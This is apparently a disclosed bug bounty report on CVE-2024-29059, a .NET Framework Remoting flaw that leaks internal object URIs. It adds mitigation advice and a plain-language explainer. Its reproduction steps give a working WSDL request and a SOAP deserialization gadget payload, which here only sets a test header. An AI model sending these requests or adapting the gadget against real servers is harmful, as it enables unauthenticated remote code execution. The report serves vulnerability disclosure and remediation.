[███] .NET Framework ObjRefs Disclosure (CVE-2024-29059)
A .NET Framework vulnerability allows an unauthenticated attacker to obtain internal object URIs (ObjRefs) by sending a specially crafted request to a .rem endpoint. This information disclosure could then be used to perform .NET Remoting attacks, possibly leading to remote code execution.
- Triaged in 2 hours
- Fixed in 11 days
- Disclosed after 21 months
Microsoft .NET Framework could allow a remote attacker to obtain sensitive information. By sending a specially crafted request, an attacker could exploit this vulnerability to obtain the ObjRef URI and possibly execute arbitrary code on the system.
Evidences
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1
Host: ████
Content-Type: text/xml
__RequestVerb: POST
██████████
█████████
References
Impact
CVE-2024-29059 in ASP.NET web applications that might unknowingly leak internal object URIs, which can be used to perform .NET Remoting attacks via HTTP, possibly allowing unauthenticated remote code execution.
System Host(s)
█████
Affected Product(s) and Version(s)
CVE Numbers
CVE-2024-29059
Steps to Reproduce
- Create a first Request
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1
Host: ██████████
Content-Type: text/xml
__RequestVerb: POST
-
Get the .rem URL
-
Create a Second Request
POST /<REM URL>.rem HTTP/1.1
Host: ███████
SOAPAction: ""
Content-Type: text/xml
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
<ForegroundBrush id="ref-3"><ObjectDataProvider MethodName="AddHeader"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:System.Web="clr-namespace:System.Web;assembly=System.Web"><ObjectDataProvider.ObjectInstance><ObjectDataProvider MethodName="get_Response"><ObjectDataProvider.ObjectInstance>
<ObjectDataProvider ObjectType="{x:Type System.Web:HttpContext}" MethodName="get_Current" />
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</ObjectDataProvider.ObjectInstance>
<ObjectDataProvider.MethodParameters>
<System:String>X-Vuln-Test</System:String>
<System:String>{{randstr}}</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider></ForegroundBrush>
</a1:TextFormattingRunProperties>
</SOAP-ENV:Envelope>
Suggested Mitigation/Remediation Actions
Update .NET Framework to latest version.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, the .NET Remoting endpoint exposes internal object references (ObjRefs) without proper access control, allowing unauthenticated users to retrieve them.
Impact
An unauthenticated attacker could obtain internal object URIs and use them to perform .NET Remoting attacks, possibly leading to remote code execution.
What the attacker needed
Target runs vulnerable .NET Framework; No authentication required
The fix
The .NET Framework should be updated to the latest version to address the vulnerability.
How it was found
- Send a GET request to the RemoteApplicationMetadata.rem endpoint with a WSDL query parameter.
- Extract the .rem URL from the response.
- Send a POST request to the extracted .rem URL with a SOAP envelope containing a malicious serialized object.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This report describes a flaw in Microsoft's .NET Framework, a software framework used to build and run applications. An attacker can send a special web request to a server and learn the internal address of a software object. That address can then be used to send further malicious requests, which might let the attacker run their own code on the server.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.